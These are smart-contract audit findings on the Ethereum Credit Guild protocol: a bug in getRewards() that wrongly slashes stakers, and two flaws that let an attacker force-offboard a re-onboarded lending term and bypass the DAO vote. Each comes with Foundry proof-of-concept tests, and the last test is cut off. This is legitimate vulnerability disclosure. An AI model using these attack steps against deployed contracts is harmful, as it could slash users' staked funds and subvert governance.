Ethereum Credit Guild - serial-coder's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L229-L231 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L253-L255 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L258-L261 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L274-L284 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L216 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L114 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L158 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L293

Vulnerability details

The SurplusGuildMinter::getRewards() is used to get credit and guild rewards from a staking position. This function can also be used to slash users that have outstanding unapplied losses. To verify the user's unapplied loss, the function will check the term's lastGaugeLoss timestamp against the user's lastGaugeLoss timestamp (i.e., userStake.lastGaugeLoss), and the function will trigger the slashed flag if lastGaugeLoss > userStake.lastGaugeLoss.

Nevertheless, the getRewards() was implemented incorrectly. The userStake.lastGaugeLoss variable will always be 0 since the userStake variable's state has never been loaded from the state storage before the verification mentioned above.

When the user executes one of the following functions: getRewards(), stake(), unstake(), or updateMintRatio(), if the term has ever been slashed in the past (even before the user's staking), the slashed flag will always be triggered by mistake.

Consequently, the user will be mistakenly forfeited their staking credit principal and guild reward. Please refer to the Proof of Concept section for the coded PoC.

    function getRewards(
        address user,
        address term
    )
        public
        returns (
            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
            UserStake memory userStake, // stake state after execution of getRewards()
            bool slashed // true if the user has been slashed
        )
    {
        bool updateState;
        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
@1      if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) { //@audit -- The userStake.lastGaugeLoss will always be 0 since the userStake's state has not been loaded from the state storage
@1          slashed = true; //@audit -- The 'slashed' flag will always be triggered if the term has been slashed in the past
@1      }

        // if the user is not staking, do nothing
        userStake = _stakes[user][term];
        if (userStake.stakeTime == 0)
            return (lastGaugeLoss, userStake, slashed);

        // compute CREDIT rewards
        ProfitManager(profitManager).claimRewards(address(this)); // this will update profit indexes
        uint256 _profitIndex = ProfitManager(profitManager)
            .userGaugeProfitIndex(address(this), term);
        uint256 _userProfitIndex = uint256(userStake.profitIndex);

        if (_profitIndex == 0) _profitIndex = 1e18;
        if (_userProfitIndex == 0) _userProfitIndex = 1e18;

        uint256 deltaIndex = _profitIndex - _userProfitIndex;

        if (deltaIndex != 0) {
            uint256 creditReward = (uint256(userStake.guild) * deltaIndex) /
                1e18;
            uint256 guildReward = (creditReward * rewardRatio) / 1e18;
@2          if (slashed) {
@2              guildReward = 0; //@audit -- User will not receive a guild reward because the position is slashed incorrectly
@2          }

            // forward rewards to user
@3          if (guildReward != 0) { //@audit -- This code block will not be entered
@3              RateLimitedMinter(rlgm).mint(user, guildReward);
@3              emit GuildReward(block.timestamp, user, guildReward);
@3          }
            if (creditReward != 0) {
                CreditToken(credit).transfer(user, creditReward);
            }

            // save the updated profitIndex
            userStake.profitIndex = SafeCastLib.safeCastTo160(_profitIndex);
            updateState = true;
        }

        // if a loss occurred while the user was staking, the GuildToken.applyGaugeLoss(address(this))
        // can be called by anyone to slash address(this) and decrement gauge weight etc.
        // The contribution to the surplus buffer is also forfeited.
@4      if (slashed) {
@4          emit Unstake(block.timestamp, term, uint256(userStake.credit));
@4          userStake = UserStake({
@4              stakeTime: uint48(0),
@4              lastGaugeLoss: uint48(0),
@4              profitIndex: uint160(0),
@4              credit: uint128(0), //@audit -- User will lose their credit principal because of incorrect slashing
@4              guild: uint128(0)
@4          });
@4          updateState = true;
@4      }

        // store the updated stake, if needed
        if (updateState) {
            _stakes[user][term] = userStake;
        }
    }

• @1 -- The userStake.lastGaugeLoss will always be 0 since the userStake's state has not been loaded from the state storage. So, the 'slashed' flag will always be triggered if the term has been slashed in the past.: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L229-L231

• @2 -- User will not receive a guild reward because the position is slashed incorrectly: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L253-L255

• @3 -- This code block will not be entered: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L258-L261

• @4 -- User will lose their credit principal because of incorrect slashing: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L274-L284

Proof of Concept

This section provides a coded PoC.

Place the testPoCIncorrectSlash() in the ./test/unit/loan/SurplusGuildMinter.t.sol file and run the test using the forge test --match-test testPoCIncorrectSlash -vvv command.

The PoC will show that Bob will be a victim who will get mistakenly slashed their staking credit principal and guild reward.

function testPoCIncorrectSlash() public {
    address Alice = address(1);
    address Bob = address(2);

    // Stake for Alice
    credit.mint(Alice, 150e18);
    vm.startPrank(Alice);
    credit.approve(address(sgm), 150e18);
    sgm.stake(term, 150e18);
    assertEq(credit.balanceOf(Alice), 0);
    assertEq(profitManager.surplusBuffer(), 0);
    assertEq(profitManager.termSurplusBuffer(term), 150e18);
    assertEq(guild.balanceOf(address(sgm)), 300e18);
    assertEq(guild.getGaugeWeight(term), 350e18);
    assertEq(sgm.getUserStake(Alice, term).credit, 150e18);

    // Next block
    vm.warp(block.timestamp + 13);
    vm.roll(block.number + 1);

    // Loss in gauge
    vm.startPrank(address(this));
    profitManager.notifyPnL(term, -27.5e18);

    // Next block
    vm.warp(block.timestamp + 13);
    vm.roll(block.number + 1);

    assertEq(credit.balanceOf(Alice), 0);
    assertEq(guild.balanceOf(Alice), 0);

    // Unstake for Alice
    vm.startPrank(Alice);
    sgm.unstake(term, 150e18);
    assertEq(credit.balanceOf(Alice), 0); // Lost 150e18 credit principal
    assertEq(guild.balanceOf(Alice), 0); // No guild reward because position is slashed
    assertEq(credit.balanceOf(address(sgm)), 0); // Did not withdraw from surplus buffer
    assertEq(guild.balanceOf(address(sgm)), 300e18); // Still not slashed
    assertEq(guild.getGaugeWeight(term), 350e18); // Did not decrementWeight
    assertEq(sgm.getUserStake(Alice, term).credit, 0); // Position slashed

    // Slash sgm
    guild.applyGaugeLoss(term, address(sgm));
    assertEq(guild.balanceOf(address(sgm)), 0); // Slashed
    assertEq(guild.getGaugeWeight(term), 50e18); // Weight decremented

    // Stake for Bob (the victim)
    vm.startPrank(address(this));
    credit.mint(Bob, 150e18);
    vm.startPrank(Bob);
    credit.approve(address(sgm), 150e18);
    sgm.stake(term, 150e18);
    assertEq(credit.balanceOf(Bob), 0);
    assertEq(profitManager.surplusBuffer(), 1225e17);
    assertEq(profitManager.termSurplusBuffer(term), 150e18);
    assertEq(guild.balanceOf(address(sgm)), 300e18);
    assertEq(guild.getGaugeWeight(term), 350e18);
    assertEq(sgm.getUserStake(Bob, term).credit, 150e18);

    // Next block
    vm.warp(block.timestamp + 13);
    vm.roll(block.number + 1);

    // The guild token earn interests
    vm.startPrank(governor);
    profitManager.setProfitSharingConfig(
        0.5e18, // surplusBufferSplit
        0, // creditSplit
        0.5e18, // guildSplit
        0, // otherSplit
        address(0) // otherRecipient
    );
    vm.startPrank(address(this));
    credit.mint(address(profitManager), 35e18);
    profitManager.notifyPnL(term, 35e18);
    assertEq(profitManager.surplusBuffer(), 1225e17 + 17.5e18);
    assertEq(profitManager.termSurplusBuffer(term), 150e18);
    (,, uint256 rewardsThis) = profitManager.getPendingRewards(address(this));
    (,, uint256 rewardsSgm) = profitManager.getPendingRewards(address(sgm));
    assertEq(rewardsThis, 2.5e18);
    assertEq(rewardsSgm, 15e18);

    // Next block
    vm.warp(block.timestamp + 13);
    vm.roll(block.number + 1);

    assertEq(credit.balanceOf(Bob), 0);
    assertEq(guild.balanceOf(Bob), 0);

    // Unstake for Bob (the victim)
    vm.startPrank(Bob);
    sgm.unstake(term, 150e18);
    assertEq(credit.balanceOf(Bob), 15e18); // Lost 150e18 credit principal incorrectly but earn the 15 credit of dividends
    assertEq(guild.balanceOf(Bob), 0); // No guild reward because position is slashed incorrectly
    assertEq(credit.balanceOf(address(sgm)), 0); // Did not withdraw from surplus buffer
    assertEq(guild.balanceOf(address(sgm)), 300e18); // Still not slashed
    assertEq(guild.getGaugeWeight(term), 350e18); // Did not decrementWeight
    assertEq(sgm.getUserStake(Bob, term).credit, 0); // Position slashed incorrectly

    // Slash sgm (expect revert)
    vm.expectRevert("GuildToken: no loss to apply"); // Expect revert because no loss has been notified since Bob's staking
    guild.applyGaugeLoss(term, address(sgm));
    assertEq(guild.balanceOf(address(sgm)), 300e18); // Still not slashed
    assertEq(guild.getGaugeWeight(term), 350e18); // Did not decrementWeight
}

Impact

When a user executes one of the following functions: getRewards(), stake(), unstake(), or updateMintRatio(), if the term has ever been slashed in the past (even before the user's staking), the slashed flag will always be triggered by mistake.

Consequently, the user will be mistakenly forfeited their staking credit principal and guild reward.

Tools Used

Manual Review

Recommended Mitigation Steps

Move down the user's unapplied loss verification to be below the verification of the user's staking timestamp (as shown below). This guarantees that the userStake variable's state will be loaded from the storage before consumption.

    function getRewards(
        address user,
        address term
    )
        public
        returns (
            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
            UserStake memory userStake, // stake state after execution of getRewards()
            bool slashed // true if the user has been slashed
        )
    {
        bool updateState;
        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
-       if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
-           slashed = true;
-       }

        // if the user is not staking, do nothing
        userStake = _stakes[user][term];
        if (userStake.stakeTime == 0)
            return (lastGaugeLoss, userStake, slashed);

+       if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
+           slashed = true;
+       }

        ...
        ...
        ...
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L138-L140 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L154 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L177-L180 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L797 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L228-L231

Vulnerability details

The LendingTermOffboarding contract allows guild holders to poll to remove a lending term. If the voting weight is enough, the lending term can be offboarded without delay. Further, the offboarded term can be re-onboarded to become an active term through the LendingTermOnboarding::proposeOnboard() following up with the voting mechanism.

The following briefly describes the steps for offboarding the lending term through the LendingTermOffboarding contract:

1. Anyone executes the proposeOffboard() to create a poll for offboarding the term. The poll has an age of ~7 days.
2. Guild holders cast votes for offboarding the term via supportOffboard().
3. If the poll has not ended and the voting weight is enough, the canOffboard[term] flag will be set.
4. If the canOffboard[term] flag is set; anyone can execute the offboard() to offboard the term.
5. All loans of the offboarded term have to be called and closed.
6. After all loans have been closed, the cleanup() can be invoked to explicitly terminate the term and reset the canOffboard[term] flag.

The following roughly describes the steps for re-onboarding the offboarded lending term through the LendingTermOnboarding contract:

1. The offboarded term can be proposed for re-onboarding through the proposeOnboard().
2. Guild holders cast votes for the term.
3. If the vote is successful, the term re-onboarding operation is queued in the Timelock.
4. After the Timelock delay, the term can be re-onboarded to become an active lending term again.

Vulnerability Details

This report describes the vulnerability in the LendingTermOffboarding contract, allowing an attacker to force the re-onboarded lending term to offboard by overriding the DAO vote offboarding mechanism. In other words, the attacker is not required to create an offboarding poll and wait for the vote to succeed in offboarding the target term. Furthermore, the attacker is not required to possess any guild tokens.

The following explains the attack steps:

1. As per steps 1 - 4 for offboarding the lending term previously described above, the canOffboard[term] flag will be set by the supportOffboard(), and the lending term will be offboarded via the offboard().
2. To explicitly terminate the term (via the cleanup()), all loans issued must be called and closed. Therefore, there will be a time gap waiting for all loans to be closed in this step.
3. Assuming that while waiting for all loans to be closed, the offboarded term has been proposed and successfully granted for re-onboarding (see steps 1 - 4 previously described above for re-onboarding the offboarded lending term).
4. After the previous step, the term has become re-onboarded (active) for issuing new loans. Notice that the term was re-onboarded without executing the cleanup(). Thus, the canOffboard[term] flag is still active.
5. For this reason, the attacker can execute the offboard() to force offboarding the re-onboarded term, overriding the DAO vote offboarding mechanism (since the canOffboard[term] flag is still active).

The attacker can suddenly offboard the re-onboarded term whenever they will, regardless of how long the target term has been re-onboarded, how long the offboarding poll has expired, or how long the canOffboard[term] flag has been activated (please refer to the Proof of Concept section for the coded PoC).

Furthermore, the attacker does not need to hold guild tokens to exploit this vulnerability.

    function supportOffboard(
        uint256 snapshotBlock,
        address term
    ) external whenNotPaused {
        require(
            block.number <= snapshotBlock + POLL_DURATION_BLOCKS,
            "LendingTermOffboarding: poll expired"
        );
        uint256 _weight = polls[snapshotBlock][term];
        require(_weight != 0, "LendingTermOffboarding: poll not found");
        uint256 userWeight = GuildToken(guildToken).getPastVotes(
            msg.sender,
            snapshotBlock
        );
        require(userWeight != 0, "LendingTermOffboarding: zero weight");
        require(
            userPollVotes[msg.sender][snapshotBlock][term] == 0,
            "LendingTermOffboarding: already voted"
        );

        userPollVotes[msg.sender][snapshotBlock][term] = userWeight;
        polls[snapshotBlock][term] = _weight + userWeight;
@1      if (_weight + userWeight >= quorum) {
@1          canOffboard[term] = true; //@audit -- Once the voting weight is enough, the canOffboard[term] flag will be set
@1      }
        emit OffboardSupport(
            block.timestamp,
            term,
            snapshotBlock,
            msg.sender,
            userWeight
        );
    }

    function offboard(address term) external whenNotPaused {
@2      require(canOffboard[term], "LendingTermOffboarding: quorum not met"); //@audit -- If the canOffboard[term] flag is set, the term can be offboarded

        // update protocol config
        // this will revert if the term has already been offboarded
        // through another mean.
        GuildToken(guildToken).removeGauge(term);

        // pause psm redemptions
        if (
            nOffboardingsInProgress++ == 0 &&
            !SimplePSM(psm).redemptionsPaused()
        ) {
            SimplePSM(psm).setRedemptionsPaused(true);
        }

        emit Offboard(block.timestamp, term);
    }

    function cleanup(address term) external whenNotPaused {
        require(canOffboard[term], "LendingTermOffboarding: quorum not met");
@3      require(
@3          LendingTerm(term).issuance() == 0, //@audit -- To clean up the term, all its loans must be closed
@3          "LendingTermOffboarding: not all loans closed"
@3      );
        require(
            GuildToken(guildToken).isDeprecatedGauge(term),
            "LendingTermOffboarding: re-onboarded"
        );

        // update protocol config
        core().revokeRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term);
        core().revokeRole(CoreRoles.GAUGE_PNL_NOTIFIER, term);

        // unpause psm redemptions
        if (
            --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
        ) {
            SimplePSM(psm).setRedemptionsPaused(false);
        }

        canOffboard[term] = false;
        emit Cleanup(block.timestamp, term);
    }

• @1 -- Once the voting weight is enough, the canOffboard[term] flag will be set: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L138-L140

• @2 -- If the canOffboard[term] flag is set, the term can be offboarded: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L154

• @3 -- To clean up the term, all its loans must be closed: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L177-L180

Impact

The active re-onboarded lending term can be forced to immediately offboard, bypassing the DAO vote offboarding, which is the protocol's core mechanism. Subsequently, the attacked lending term will block all new loans from being issued and prevent guild holders from voting for the term.

Moreover, all loans previously issued by the attacked term can be called putting the loans for bidding silently (since the attacker bypasses the DAO vote offboarding mechanism). If one of the loans fails on bidding to fill up the loan's principal, the term's loss will be notified. As a result, all users who stake credit tokens through the SurplusGuildMinter contract to vote for the attacked term will be slashed with all their credit principal and guild rewards.

Proof of Concept

This section provides a coded PoC.

Place the testPoCReplayOffboarding() in the .test/unit/governance/LendingTermOffboarding.t.sol file and run the test using the forge test --match-test testPoCReplayOffboarding -vvv command.

The PoC explains the attack steps described in the Vulnerability Details section.

function testPoCReplayOffboarding() public {
    // Prepare for Bob
    guild.mint(bob, _QUORUM);
    vm.startPrank(bob);
    guild.delegate(bob);

    uint256 POLL_DURATION_BLOCKS = offboarder.POLL_DURATION_BLOCKS();
    uint256 snapshotBlock = block.number;
    uint256 OFFBOARDING_POLL_END_BLOCK = snapshotBlock + POLL_DURATION_BLOCKS;

    // Bob proposes an offboarding of the term
    assertEq(guild.isGauge(address(term)), true);
    offboarder.proposeOffboard(address(term));

    // Next 1 day
    vm.roll(block.number + 6646); // 1 day
    vm.warp(block.timestamp + 6646 * 13);
    assertLe(block.number, OFFBOARDING_POLL_END_BLOCK);

    vm.expectRevert("LendingTermOffboarding: quorum not met");
    offboarder.cleanup(address(term));

    // Bob votes for offboarding the term and executes the offboarding (he has a sufficient voting weight)
    assertEq(guild.isGauge(address(term)), true);
    assertEq(offboarder.canOffboard(address(term)), false);
    offboarder.supportOffboard(snapshotBlock, address(term));
    offboarder.offboard(address(term));
    assertEq(guild.isGauge(address(term)), false);
    assertEq(offboarder.canOffboard(address(term)), true);

    // Cannot clean up because loans are active
    vm.expectRevert("LendingTermOffboarding: not all loans closed");
    offboarder.cleanup(address(term));

    // ------------------------------------------------------------------------------ //
    // ---<< Waiting for all term's loans to be closed to execute the cleanup() >>--- //
    // ------------------------------------------------------------------------------ //

    // Next 10 days
    // Offboarding poll expired
    vm.roll(block.number + 66460); // 10 days
    vm.warp(block.timestamp + 66460 * 13);
    assertGt(block.number, OFFBOARDING_POLL_END_BLOCK);

    // While waiting for all term's loans to be closed, the term gets re-onboarded
    vm.stopPrank();
    assertEq(guild.isGauge(address(term)), false);
    guild.addGauge(1, address(term));
    assertEq(guild.isGauge(address(term)), true);

    // The canOffboard[term] flag is still active since the cleanup() hasn't been called
    assertEq(offboarder.canOffboard(address(term)), true);

    // Next 30 days
    vm.roll(block.number + 199380); // 30 days
    vm.warp(block.timestamp + 199380 * 13);

    // Attacker offboards the term by overriding the DAO vote offboarding mechanism
    // The attacker did not need to hold any guild tokens to exploit this vulnerability
    address Attacker = address(1);
    vm.startPrank(Attacker);
    assertEq(guild.isGauge(address(term)), true);
    offboarder.offboard(address(term));
    assertEq(guild.isGauge(address(term)), false);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Implement a proper mechanism for resetting the canOffboard[term] flag once the associated lending term has been re-onboarded.

It is worth noting that the canOffboard[term] flag should be reset after the term re-onboarding operation has successfully been executed by Timelock (when the term is already active) to prevent other security issues.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L197 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L120-L123 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L138-L140 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L154 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L797 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L228-L231

Vulnerability details

The LendingTermOffboarding contract allows guild holders to poll to remove a lending term. If the voting weight is enough, the lending term can be offboarded without delay. Further, the offboarded term can be re-onboarded to become an active term through the LendingTermOnboarding::proposeOnboard() following up with the voting mechanism.

The following briefly describes the steps for offboarding the lending term through the LendingTermOffboarding contract:

1. Anyone executes the proposeOffboard() to create a poll for offboarding the term. The poll has an age of ~7 days.
2. Guild holders cast votes for offboarding the term via supportOffboard().
3. If the poll has not ended and the voting weight is enough, the canOffboard[term] flag will be set.
4. If the canOffboard[term] flag is set; anyone can execute the offboard() to offboard the term.
5. All loans of the offboarded term have to be called and closed.
6. After all loans have been closed, the cleanup() can be invoked to explicitly terminate the term and reset the canOffboard[term] flag.

The following roughly describes the steps for re-onboarding the offboarded lending term through the LendingTermOnboarding contract:

1. The offboarded term can be proposed for re-onboarding through the proposeOnboard().
2. Guild holders cast votes for the term.
3. If the vote is successful, the term re-onboarding operation is queued in the Timelock.
4. After the Timelock delay, the term can be re-onboarded to become an active lending term again.

Vulnerability Details

This report describes the vulnerability in the LendingTermOffboarding contract, allowing an attacker to force the re-onboarded lending term to offboard by overriding the DAO vote offboarding mechanism. In other words, the attacker is not required to create an offboarding poll and wait for the vote to succeed in offboarding the target term.

The following explains the attack steps:

1. As per steps 1 - 6 for offboarding the lending term previously described above, the lending term will be offboarded (via the offboard()) and cleaned up (via the cleanup()). The cleanup() will reset the canOffboard[term] flag so that no one can execute the offboard() or cleanup() on the terminated term again.
2. However, the offboarding poll has an age of ~7 days. As long as the poll has not ended, an attacker can execute the supportOffboard() to cast a vote to re-trigger the canOffboard[term] flag.
3. Assuming that the target offboarded term has been proposed and successfully granted for re-onboarding (see steps 1 - 4 previously described above for re-onboarding the offboarded lending term).
4. The attacker can force offboarding the target re-onboarded term, overriding the DAO vote offboarding mechanism by invoking the offboard() since the canOffboard[term] flag has been re-triggered in step 2.

After successfully re-triggering the canOffboard[term] flag in step 2, the attacker can suddenly offboard the target re-onboarded term whenever they will, regardless of how long the target term has been re-onboarded, how long the offboarding poll has expired, or how long the canOffboard[term] flag has been re-triggered (please refer to the Proof of Concept section for the coded PoC).

    function cleanup(address term) external whenNotPaused {
        require(canOffboard[term], "LendingTermOffboarding: quorum not met");
        require(
            LendingTerm(term).issuance() == 0,
            "LendingTermOffboarding: not all loans closed"
        );
        require(
            GuildToken(guildToken).isDeprecatedGauge(term),
            "LendingTermOffboarding: re-onboarded"
        );

        // update protocol config
        core().revokeRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term);
        core().revokeRole(CoreRoles.GAUGE_PNL_NOTIFIER, term);

        // unpause psm redemptions
        if (
            --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
        ) {
            SimplePSM(psm).setRedemptionsPaused(false);
        }

@1      canOffboard[term] = false; //@audit -- After all offboarded term's loans have been closed, the cleanup() can be executed to explicitly clean up the term and reset the canOffboard[term] flag
        emit Cleanup(block.timestamp, term);
    }

    function supportOffboard(
        uint256 snapshotBlock,
        address term
    ) external whenNotPaused {
@2      require(
@2          block.number <= snapshotBlock + POLL_DURATION_BLOCKS, //@audit -- The lending term offboarding poll has an age of ~7 days
@2          "LendingTermOffboarding: poll expired"
@2      );
        uint256 _weight = polls[snapshotBlock][term];
        require(_weight != 0, "LendingTermOffboarding: poll not found");
        uint256 userWeight = GuildToken(guildToken).getPastVotes(
            msg.sender,
            snapshotBlock
        );
        require(userWeight != 0, "LendingTermOffboarding: zero weight");
        require(
            userPollVotes[msg.sender][snapshotBlock][term] == 0,
            "LendingTermOffboarding: already voted"
        );

        userPollVotes[msg.sender][snapshotBlock][term] = userWeight;
        polls[snapshotBlock][term] = _weight + userWeight;
@3      if (_weight + userWeight >= quorum) {
@3          canOffboard[term] = true; //@audit -- Attacker can cast a vote to re-trigger the canOffboard[term] flag
@3      }
        emit OffboardSupport(
            block.timestamp,
            term,
            snapshotBlock,
            msg.sender,
            userWeight
        );
    }

    function offboard(address term) external whenNotPaused {
@4      require(canOffboard[term], "LendingTermOffboarding: quorum not met"); //@audit -- Attacker can force offboarding the re-onboarded term, overriding the DAO vote offboarding mechanism

        // update protocol config
        // this will revert if the term has already been offboarded
        // through another mean.
        GuildToken(guildToken).removeGauge(term);

        // pause psm redemptions
        if (
            nOffboardingsInProgress++ == 0 &&
            !SimplePSM(psm).redemptionsPaused()
        ) {
            SimplePSM(psm).setRedemptionsPaused(true);
        }

        emit Offboard(block.timestamp, term);
    }

• @1 -- After all offboarded term's loans have been closed, the cleanup() can be executed to explicitly clean up the term and reset the canOffboard[term] flag: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L197

• @2 -- The lending term offboarding poll has an age of ~7 days: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L120-L123

• @3 -- Attacker can cast a vote to re-trigger the canOffboard[term] flag: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L138-L140

• @4 -- Attacker can force offboarding the re-onboarded term, overriding the DAO vote offboarding mechanism: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L154

Impact

The active re-onboarded lending term can be forced to immediately offboard, bypassing the DAO vote offboarding, which is the protocol's core mechanism. Subsequently, the attacked lending term will block all new loans from being issued and prevent guild holders from voting for the term.

Moreover, all loans previously issued by the attacked term can be called putting the loans for bidding silently (since the attacker bypasses the DAO vote offboarding mechanism). If one of the loans fails on bidding to fill up the loan's principal, the term's loss will be notified. As a result, all users who stake credit tokens through the SurplusGuildMinter contract to vote for the attacked term will be slashed with all their credit principal and guild rewards.

Proof of Concept

This section provides a coded PoC.

Place the testPoCBreakingDaoVoteOffboarding() in the .test/unit/governance/LendingTermOffboarding.t.sol file and run the test using the forge test --match-test testPoCBreakingDaoVoteOffboarding -vvv command.

The PoC explains the attack steps described in the Vulnerability Details section.

function testPoCBreakingDaoVoteOffboarding() public {
    // Prepare for Attacker
    address Attacker = address(1);
    guild.mint(Attacker, 1);
    vm.prank(Attacker);
    guild.delegate(Attacker);

    // Prepare for Bob
    guild.mint(bob, _QUORUM);
    vm.startPrank(bob);
    guild.delegate(bob);

    uint256 POLL_DURATION_BLOCKS = offboarder.POLL_DURATION_BLOCKS();
    uint256 snapshotBlock = block.number;
    uint256 OFFBOARDING_POLL_END_BLOCK = snapshotBlock + POLL_DURATION_BLOCKS;

    // Bob proposes an offboarding of the term
    assertEq(guild.isGauge(address(term)), true);
    offboarder.proposeOffboard(address(term));

    // Next 1 day
    vm.roll(block.number + 6646); // 1 day
    vm.warp(block.timestamp + 6646 * 13);
    assertLe(block.number, OFFBOARDING_POLL_END_BLOCK);

    vm.expectRevert("LendingTermOffboarding: quorum not met");
    offboarder.cleanup(address(term));

    // Bob votes for offboarding the term and executes the offboarding (he has a sufficient voting weight)
    assertEq(guild.isGauge(address(term)), true);
    assertEq(offboarder.canOffboard(address(term)), false);
    offboarder.supportOffboard(snapshotBlock, address(term));
    offboarder.offboard(address(term));
    assertEq(guild.isGauge(address(term)), false);
    assertEq(offboarder.canOffboard(address(term)), true);

    // Cannot clean up because loans are active
    vm.expectRevert("LendingTermOffboarding: not all loans closed");
    offboarder.cleanup(address(term));

    // Next 1 day
    vm.roll(block.number + 6646); // 1 day
    vm.warp(block.timestamp + 6646 * 13);
    assertLe(block.number, OFFBOARDING_POLL_END_BLOCK);

    // Get enough CREDIT to pack back interests
    vm.stopPrank();
    uint256 debt = term.getLoanDebt(aliceLoanId);
    credit.mint(alice, debt - aliceLoanSize);

    // Alice closes loan
    vm.startPrank(alice);
    credit.approve(address(term), debt);
    term.repay(aliceLoanId);
    vm.stopPrank();

    // Clean up the term
    assertEq(psm.redemptionsPaused(), true);
    assertEq(offboarder.nOffboardingsInProgress(), 1);
    offboarder.cleanup(address(term));
    assertEq(psm.redemptionsPaused(), false);
    assertEq(offboarder.nOffboardingsInProgress(), 0);

    assertEq(offboarder.canOffboard(address(term)), false); // The canOffboard[term] flag has been reset
    assertEq(core.hasRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term)), false);
    assertEq(core.hasRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term)), false);

    // Attacker votes for offboarding the term to re-trigger the canOffboard[term] flag again
    vm.startPrank(Attacker);
    assertEq(offboarder.canOffboard(address(term)), false);
    offboarder.supportOffboard(snapshotBlock, address(term));
    assertEq(offboarder.canOffboard(address(term)), true); // Attacker has re-triggered the canOffboard[term] flag
    vm.stopPrank();

    // Next 10 days
    // Offboarding poll expired
    vm.roll(block.number + 66460); // 10 days
    vm.warp(block.timestamp + 66460 * 13);
    assertGt(block.number, OFFBOARDING_POLL_END_BLOCK);

    // The term is re-onboarded
